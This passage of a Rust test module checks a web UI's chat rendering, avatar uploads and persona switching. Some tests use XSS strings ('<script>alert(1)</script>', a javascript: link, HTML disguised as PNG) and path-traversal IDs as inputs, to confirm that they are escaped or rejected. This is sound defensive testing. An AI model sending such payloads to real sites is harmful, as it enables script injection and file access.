14832 "Which backend?".into(),
14833 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14834 vec!["SQLite".into(), "Redis".into()],
14835 );
14836 ui.questions.put(&mut question).unwrap();
14837 let body = crate::prompt::chat_consult(&question);
14838 let mut conversation = ui.talks.get(&id).unwrap();
14839 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14840 assert!(
14841 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14842 );
14843 conversation = ui.talks.get(&id).unwrap();
14844 assert_eq!(conversation.pending_messages[0].body, body);
14845 assert!(body.contains("magi answer"));
14846 let mut legacy_pending = conversation.clone();
14847 legacy_pending.pending_messages[0].display = None;
14848 let legacy_view =
14849 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14850 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14851 assert!(legacy_md.contains("Question consultation"));
14852 assert!(!legacy_md.contains("magi answer"));
14853 let view =
14854 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14855 assert!(
14856 view.turn_messages_md[0][0].is_none(),
14857 "operator copy stays literal"
14858 );
14859 let queued_md = view.pending_messages_md[0].clone().unwrap();
14860 let rendered = serde_json::to_string(&queued_md).unwrap();
14861 for visible in [
14862 "Which backend?",
14863 "Context",
14864 "storage",
14865 "SQLite",
14866 "Redis",
14867 "<script>literal</script>",
14868 ] {
14869 assert!(rendered.contains(visible), "missing {visible}");
14870 }
14871 for directive in [
14872 "What to do",
14873 "magi answer",
14874 "Never answer it yourself",
14875 "Do not edit the repository",
14876 ] {
14877 assert!(!rendered.contains(directive), "exposed {directive}");
14878 }
14879 assert_eq!(
14880 view.talk.pending_messages[0].display,
14881 Some(crate::prompt::chat_consult_display(&question))
14882 );
14883 talk::drain(&mut conversation, &ui.talks).unwrap();
14884 let view =
14885 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14886 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14887 assert_eq!(conversation.turns[1].messages[0].body, body);
14888
14889 conversation.turns[1].messages[0].display = None;
14892 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14893 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14894 assert!(legacy.contains("Question consultation"));
14895 assert!(!legacy.contains("magi answer"));
14896 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14897 }
14898 }
14899
14900 #[test]
14901 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14902 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14903 let (body, mut display) =
14904 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14905 display.facts = facts.into();
14906 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14907 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14908 let json = serde_json::to_string(&nodes).unwrap();
14909 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14910 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14911 }
14912 assert!(json.contains("<script>alert(1)</script>"));
14913 assert!(!json.contains("javascript:"));
14914 assert!(!json.contains("Tell the operator"));
14915 assert!(!json.contains("untrusted"));
14916 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14917 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14918 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14919 assert_eq!(
14920 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14921 md::to_nodes("# Status", &md::ImageBase::None),
14922 );
14923 }
14924
14925 #[tokio::test]
14926 async fn notification_display_recovers_exact_legacy_completion_references() {
14927 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14928 let mut conversation = ui.talks.get(&id).unwrap();
14929 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14930 id: "task-123",
14931 title: "Change",
14932 status: "done",
14933 reason: None,
14934 run: Some("run-123"),
14935 pr: None,
14936 summary: Some("Merge state unknown"),
14937 });
14938 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14939 conversation.turns[0].sender = None;
14940 conversation.turns[0].messages.clear();
14941 conversation.turns[0].breaks = None;
14942 conversation.pending = body.clone();
14943 conversation
14944 .completion_notices
14945 .push(crate::chat_notify::CompletionReference {
14946 task: "task-123".into(),
14947 run: Some("run-123".into()),
14948 notice: body.clone(),
14949 });
14950 ui.talks.put(&mut conversation).unwrap();
14951 let view = TalkView::with_config(
14952 ui.talks.get(&id).unwrap(),
14953 false,
14954 None,
14955 &ui.home,
14956 &ui.references,
14957 );
14958 assert_eq!(
14959 view.talk.turns[0].messages[0].display,
14960 Some(display.clone())
14961 );
14962 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14963 assert_eq!(
14964 view.talk.turns[0].messages[0].sender,
14965 Some(talk::Sender::Magi)
14966 );
14967 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14968 conversation.completion_notices[0]
14969 .notice
14970 .push_str("different");
14971 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14972 assert!(view.talk.turns[0].messages.is_empty());
14973 assert!(view.talk.pending_messages.is_empty());
14974 }
14975
14976 #[tokio::test]
14977 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14978 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14979 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14980 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14981 ))
14982 .await;
14983 let path = avatar_setting_path(home.path(), Some("rei"));
14984 let orphan = avatar_setting_path(home.path(), Some("removed"));
14985 save_icon_file(&orphan, icon).unwrap();
14986 for (saved, expected) in [
14987 (icon, "custom"),
14988 ("builtin", "builtin"),
14989 ("data:image/png;base64,!!!!", "inherit"),
14990 ("data:image/png;base64,PGh0bWw+", "inherit"),
14991 ("/tmp/avatar.png", "inherit"),
14992 ] {
14993 atomic_icon_write(&path, saved).unwrap();
14994 let catalog =
14995 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14996 .await
14997 .unwrap()
14998 .0;
14999 let personas = catalog["personas"].as_array().unwrap();
15000 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15001 assert_eq!(rei["override_state"], expected);
15002 assert_eq!(rei["has_config_icon"], true);
15003 assert_eq!(rei["is_orphan"], false);
15004 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15005 assert_eq!(removed["override_state"], "custom");
15006 assert_eq!(removed["is_orphan"], true);
15007 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15008 assert_eq!(default["override_state"], "inherit");
15009 assert_eq!(default["has_config_icon"], false);
15010 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15011 assert_eq!(
15012 effective.as_deref(),
15013 Some(if expected == "builtin" { "" } else { icon })
15014 );
15015 }
15016 }
15017
15018 #[tokio::test]
15019 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15020 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15021 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15022 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15023 ))
15024 .await;
15025 let target = |id: Option<&str>| AvatarSettingsQuery {
15026 persona: id.map(str::to_owned),
15027 ..Default::default()
15028 };
15029 let original_config = config_for(&repo).await.unwrap();
15030 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15031 let original_prompt = persona::section_for(&original_persona, None);
15032 let before = talk_detail(State(ui.clone()), Path(id.clone()))
15033 .await
15034 .unwrap()
15035 .0;
15036 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15037 let _ = avatar_settings_put(
15038 State(ui.clone()),
15039 Query(target(persona)),
15040 Json(MagiIconUpload { icon: icon.into() }),
15041 )
15042 .await
15043 .unwrap();
15044 let path = avatar_setting_path(home.path(), persona);
15045 assert!(path.starts_with(home.path().join("avatars")));
15046 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15047 for bad in [
15048 "/tmp/image.png".to_owned(),
15049 "data:image/png;base64,!!!!".to_owned(),
15050 "data:image/png;base64,PGh0bWw+".to_owned(),
15051 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15052 format!(
15053 "data:image/png;base64,{}",
15054 "A".repeat(persona_icon::ICON_MAX_BYTES)
15055 ),
15056 ] {
15057 assert!(
15058 avatar_settings_put(
15059 State(ui.clone()),
15060 Query(target(persona)),
15061 Json(MagiIconUpload { icon: bad })
15062 )
15063 .await
15064 .is_err()
15065 );
15066 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15067 }
15068 }
15069 assert!(read_magi_icon(home.path()).is_none());
15070 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15071 let after = talk_detail(State(ui.clone()), Path(id.clone()))
15072 .await
15073 .unwrap()
15074 .0;
15075 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15076 assert_ne!(
15077 before
15078 .personas
15079 .iter()
15080 .find(|p| p.id == "magi")
15081 .unwrap()
15082 .avatar,
15083 after
15084 .personas
15085 .iter()
15086 .find(|p| p.id == "magi")
15087 .unwrap()
15088 .avatar
15089 );
15090 let restarted = Arc::new(Ui::new(
15091 Queue::at(home.path().join("queue")),
15092 Questions::at(home.path().join("questions")),
15093 Talks::at(home.path().join("talks")),
15094 home.path().join("runs"),
15095 home.path().to_owned(),
15096 repo,
15097 ));
15098 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15099 .await
15100 .unwrap()
15101 .0;
15102 assert!(
15103 catalog["personas"]
15104 .as_array()
15105 .unwrap()
15106 .iter()
15107 .any(|p| p["id"] == "../custom/日本語")
15108 );
15109 for expected in ["custom", "default", "rei"] {
15110 assert!(
15111 catalog["personas"]
15112 .as_array()
15113 .unwrap()
15114 .iter()
15115 .any(|p| p["id"] == expected)
15116 );
15117 }
15118 let response =
15119 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15120 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15121 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15122 .await
15123 .unwrap();
15124 assert_eq!(
15125 effective_persona_icon(home.path(), "rei", Some(icon)),
15126 Some(String::new())
15127 );
15128 let response = talk_avatar(
15129 State(restarted.clone()),
15130 Path(id.clone()),
15131 Query(AvatarQuery {
15132 persona: Some("rei".into()),
15133 ..Default::default()
15134 }),
15135 )
15136 .await
15137 .unwrap();
15138 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15139 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15140 .await
15141 .unwrap()
15142 .0;
15143 assert_ne!(
15144 after
15145 .personas
15146 .iter()
15147 .find(|p| p.id == "rei")
15148 .unwrap()
15149 .avatar,
15150 reset
15151 .personas
15152 .iter()
15153 .find(|p| p.id == "rei")
15154 .unwrap()
15155 .avatar
15156 );
15157 let mut inherit = target(Some("rei"));
15158 inherit.inherit = Some("1".into());
15159 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15160 .await
15161 .unwrap();
15162 assert_eq!(
15163 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15164 Some(icon)
15165 );
15166 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15167 .await
15168 .unwrap();
15169 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15170 assert_eq!(
15171 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15172 Some(icon)
15173 );
15174 let cfg = config_for(&ui.repo).await.unwrap();
15176 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15177 assert_eq!(persona::section_for(&resolved, None), original_prompt);
15178 assert!(!original_prompt.contains("data:image"));
15179 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15180 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15181 assert!(!stored.contains("data:image"));
15182 let mut orphan = ui.talks.get(&id).unwrap();
15183 orphan.persona = "../custom/日本語".into();
15184 let view = TalkView::with_config(
15185 orphan,
15186 false,
15187 Some(&cfg),
15188 home.path(),
15189 &id_links::IndexCache::default(),
15190 );
15191 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15192 }
15193
15194 #[tokio::test]
15195 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15196 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15197 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15198 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15199 let _ = magi_icon_put(
15200 State(ui.clone()),
15201 Json(MagiIconUpload { icon: icon.into() }),
15202 )
15203 .await
15204 .unwrap();
15205 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15206 assert_ne!(original, changed);
15207 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15208 let response = magi_avatar(
15209 State(ui.clone()),
15210 Query(AvatarQuery {
15211 persona: None,
15212 builtin: None,
15213 }),
15214 )
15215 .await;
15216 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15217 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15218 assert_eq!(
15219 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15220 "nosniff"
15221 );
15222 for bad in [
15223 "data:image/png;base64,PGh0bWw+".to_owned(),
15224 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15225 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15226 ] {
15227 assert!(save_magi_icon(home.path(), &bad).is_err());
15228 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15229 }
15230 let restarted = Arc::new(Ui::new(
15232 Queue::at(home.path().join("queue")),
15233 Questions::at(home.path().join("questions")),
15234 Talks::at(home.path().join("talks")),
15235 home.path().join("runs"),
15236 home.path().to_path_buf(),
15237 repo,
15238 ));
15239 assert_eq!(
15240 magi_icon_get(State(restarted.clone())).await.0["avatar"],
15241 changed
15242 );
15243 let view = TalkView::with_config(
15244 restarted.talks.get(&id).unwrap(),
15245 false,
15246 None,
15247 &restarted.home,
15248 &restarted.references,
15249 );
15250 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15251 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15252 let response = magi_avatar(
15253 State(ui.clone()),
15254 Query(AvatarQuery {
15255 persona: None,
15256 builtin: None,
15257 }),
15258 )
15259 .await;
15260 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15261 .await
15262 .unwrap();
15263 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15264 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15265 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15266 let _ = magi_icon_delete(State(ui)).await.unwrap();
15267 }
15268
15269 async fn avatar(
15271 ui: &Arc<Ui>,
15272 id: &str,
15273 persona: Option<&str>,
15274 builtin: bool,
15275 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15276 let res = talk_avatar(
15277 State(Arc::clone(ui)),
15278 Path(id.to_owned()),
15279 Query(AvatarQuery {
15280 persona: persona.map(str::to_owned),
15281 builtin: builtin.then(|| "1".to_owned()),
15282 }),
15283 )
15284 .await
15285 .expect("an avatar is never an error response");
15286 let h = res.headers();
15287 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15288 let nosniff = h
15289 .get(header::X_CONTENT_TYPE_OPTIONS)
15290 .is_some_and(|v| v == "nosniff");
15291 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15292 let status = res.status();
15293 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15294 .await
15295 .expect("body")
15296 .to_vec();
15297 (status, ct, nosniff, csp, body)
15298 }
15299
15300 fn tiny_png() -> Vec<u8> {
15301 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15302 b.extend_from_slice(&[0u8; 32]);
15303 b
15304 }
15305
15306 #[tokio::test]
15307 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15308 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15309 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15310 assert_eq!(res.status(), StatusCode::OK);
15311 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15312 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15313 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15314 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15315 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15316 .await
15317 .unwrap();
15318 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15319 assert_ne!(
15320 persona_icon::operator_svg(),
15321 persona_icon::builtin_svg("default")
15322 );
15323 }
15324
15325 #[tokio::test]
15326 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15327 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15328 for p in [
15329 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15330 ] {
15331 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15332 assert_eq!(status, StatusCode::OK, "{p}");
15333 assert_eq!(ct, "image/svg+xml", "{p}");
15334 assert!(nosniff && csp, "{p}");
15335 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15336 }
15337 let own = avatar(&ui, &id, None, false).await;
15339 let default = avatar(&ui, &id, Some("default"), false).await;
15340 assert_eq!(own.4, default.4);
15341 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15342 assert_eq!(unknown.1, "image/svg+xml");
15343 }
15344
15345 #[tokio::test]
15346 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15347 let dir = TempDir::new().expect("icons");
15348 let good = dir.path().join("good.png");
15349 std::fs::write(&good, tiny_png()).unwrap();
15350 let spoof = dir.path().join("spoof.png");
15351 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15352 let big = dir.path().join("big.png");
15353 let mut bytes = tiny_png();
15354 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15355 std::fs::write(&big, bytes).unwrap();
15356 let missing = dir.path().join("missing.png");
15357 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15358 let extra = format!(
15359 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15360 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15361 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15362 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15363 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15364 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15365 uri(&good),
15366 uri(&spoof),
15367 uri(&big),
15368 uri(&missing),
15369 );
15370 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15371
15372 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15373 assert_eq!(
15374 (status, ct.as_str(), nosniff),
15375 (StatusCode::OK, "image/png", true)
15376 );
15377 assert_eq!(body, tiny_png());
15378 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15379 assert_eq!(ct, "image/png", "data URI");
15380
15381 for p in ["misato", "asuka", "shinji", "magi"] {
15382 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15383 assert_eq!(
15384 (status, ct.as_str(), csp),
15385 (StatusCode::OK, "image/svg+xml", true),
15386 "{p}"
15387 );
15388 assert!(body.starts_with(b"<svg"), "{p}");
15389 }
15390 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15392 assert_eq!(ct, "image/svg+xml");
15393 }
15394
15395 #[tokio::test]
15396 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15397 let oversized = format!(
15398 "data:image/png;base64,{}",
15399 "A".repeat(persona_icon::ICON_MAX_BYTES)
15400 );
15401 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15402 let extra = format!(
15403 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15404 );
15405 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15406 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15407 .await
15408 .expect("detail with invalid icon");
15409 assert!(detail.personas.iter().any(|p| p.id == "custom"));
15410 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15411 assert_eq!(status, StatusCode::OK);
15412 assert_eq!(ct, "image/svg+xml");
15413 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15414 let Json(view) = talk_persona(
15415 State(Arc::clone(&ui)),
15416 Path(id.clone()),
15417 Json(TalkPersona {
15418 persona: "custom".into(),
15419 }),
15420 )
15421 .await
15422 .expect("persona switch with invalid icon");
15423 assert_eq!(view.talk.persona, "custom");
15424 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15425 }
15426 }
15427
15428 #[tokio::test]
15429 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15430 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15431 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15432 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15433 assert_eq!(
15434 (status, ct.as_str(), nosniff, csp),
15435 (StatusCode::OK, "image/svg+xml", true, true)
15436 );
15437 }
15438
15439 #[tokio::test]
15440 async fn the_talk_view_carries_server_built_avatar_urls_only() {
15441 let (_t, _h, ui, id, _repo) =
15442 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15443 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15444 .await
15445 .expect("detail");
15446 let json = serde_json::to_string(&detail).unwrap();
15447 assert!(
15448 !json.contains("secret"),
15449 "the icon setting must not leak: {json}"
15450 );
15451 assert!(
15452 detail
15453 .view
15454 .persona_avatar
15455 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15456 );
15457 assert_eq!(
15458 detail.view.operator_avatar,
15459 format!(
15460 "/avatars/operator.svg?v={}",
15461 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15462 )
15463 );
15464 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15465 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15466 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15467 assert!(rei.avatar.contains("persona=rei&v="));
15468 assert_ne!(
15469 rei.avatar.split("&v=").nth(1),
15470 plain.avatar.split("&v=").nth(1)
15471 );
15472 }
15473
15474 #[tokio::test]
15475 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15476 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15477 let cfg = config_for(&repo).await.unwrap();
15478 for arrived in [false, true] {
15479 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15480 let observed = ui.queued_generation(&id);
15481 let talk = ui.talks.get(&id).unwrap();
15482 if arrived {
15483 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15484 }
15485 let mut settling = std::pin::pin!(settle_settings_turn(
15486 talk,
15487 ui.talks.clone(),
15488 cfg.clone(),
15489 id.clone(),
15490 turn,
15491 observed
15492 ));
15493 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15494 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15495 assert_eq!(first.is_pending(), arrived);
15496 if arrived {
15497 assert!(!settling.await);
15498 }
15499 assert!(!ui.is_thinking(&id));
15500 }
15501 }
15502
15503 #[tokio::test]
15504 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15505 let tmp = TempDir::new().expect("tempdir");
15506 let repo = tmp.path().join("repo");
15507 std::fs::create_dir_all(&repo).expect("repo dir");
15508 std::fs::write(
15509 repo.join("magi.toml"),
15510 format!(
15511 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15512 ),
15513 )
15514 .expect("write magi.toml");
15515 let home = TempDir::new().expect("temp home");
15516 let talks = Talks::at(home.path().join("talks"));
15517 let ui = Arc::new(
15518 Ui::new(
15519 Queue::at(home.path().join("queue")),
15520 Questions::at(home.path().join("questions")),
15521 talks.clone(),
15522 home.path().join("runs"),
15523 home.path().to_path_buf(),
15524 repo.clone(),
15525 )
15526 .with_worktrees_root(home.path().join("wt")),
15527 );
15528 let cfg = config_for(&repo).await.expect("discover config");
15529 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15530 let id = talk.id.clone();
15531 let call = |persona: &str| {
15532 talk_persona(
15533 State(Arc::clone(&ui)),
15534 Path(id.clone()),
15535 Json(TalkPersona {
15536 persona: persona.to_owned(),
15537 }),
15538 )
15539 };
15540
15541 let unknown = call("nobody").await.expect_err("unknown persona");
15542 assert_eq!(
15543 unknown.status,
15544 StatusCode::BAD_REQUEST,
15545 "{}",
15546 unknown.message
15547 );
15548
15549 {
15550 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15553 let busy = call("rei").await.expect_err("busy talk");
15554 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15555 assert!(
15556 busy.message.contains("a talk turn is running"),
15557 "{}",
15558 busy.message
15559 );
15560 drop(guard);
15561 }
15562 assert_eq!(talks.get(&id).expect("reload").persona, "");
15563
15564 let Json(view) = call("gendo").await.expect("switch to a configured persona");
15565 assert_eq!(view.talk.persona, "gendo");
15566 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15567 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15568 for chosen in ["default", "gendo", "rei", "gendo"] {
15570 let Json(view) = call(chosen).await.expect("immediate consecutive change");
15571 assert!(!view.thinking);
15572 assert!(!ui.is_thinking(&id));
15573 }
15574
15575 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15576 .await
15577 .expect("detail");
15578 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15579 assert_eq!(ids.first(), Some(&"default"));
15580 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15581
15582 let Json(view) = call("default").await.expect("back to default");
15583 assert_eq!(view.talk.persona, "");
15584
15585 let mut closed = talks.get(&id).expect("reload");
15586 talk::close(&mut closed, &talks).expect("close");
15587 let refused = call("rei").await.expect_err("closed talk");
15588 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15589 assert!(
15590 refused.message.contains("takes no more turns"),
15591 "{}",
15592 refused.message
15593 );
15594 }
15595
15596 #[tokio::test]
15597 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15598 let f = Fixture::start().await;
15599 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15600 let queue = f.queue();
15601 let mut mine = Task::new(
15602 "rename the loader".to_owned(),
15603 "rename the loader".to_owned(),
15604 PathBuf::from("/repo/magi"),
15605 Source::Agent {
15606 run: talk_id.clone(),
15607 node: "chat".to_owned(),
15608 },
15609 );
15610 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15611 assert_eq!(empty["task_progress"]["state"], "none");
15612 assert_eq!(empty["task_progress"]["total"], 0);
15613 queue.put(&mut mine).expect("file the task");
15614 let mut theirs = Task::new(
15615 "unrelated".to_owned(),
15616 "unrelated".to_owned(),
15617 PathBuf::from("/repo/magi"),
15618 Source::Human,
15619 );
15620 theirs.origin_chat = Some(talk_id.clone());
15622 queue.put(&mut theirs).expect("file the task");
15623
15624 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15625 assert_eq!(res.status, 200, "{}", res.body);
15626 let body = res.json();
15627 assert_eq!(
15628 body["status"], "open",
15629 "filing a task does not close a talk"
15630 );
15631 let tasks = body["tasks"].as_array().expect("tasks array");
15632 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15633 assert_eq!(tasks[0]["id"], mine.id);
15634 for status in [
15635 TaskStatus::Queued,
15636 TaskStatus::Running,
15637 TaskStatus::Held,
15638 TaskStatus::Failed,
15639 TaskStatus::Blocked,
15640 TaskStatus::Parked,
15641 TaskStatus::Done,
15642 TaskStatus::Queued,
15643 ] {
15644 mine.status = status;
15645 queue.put(&mut mine).expect("update status");
15646 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15647 let progress = &detail["task_progress"];
15648 assert_eq!(progress["total"], 1);
15649 assert_eq!(progress["counts"][status.as_str()], 1);
15650 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15651 assert_eq!(detail["status"], "open", "completion never closes the chat");
15652 if status == TaskStatus::Done {
15653 assert_eq!(progress["state"], "complete");
15654 assert_eq!(progress["done"], 1);
15655 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15656 } else {
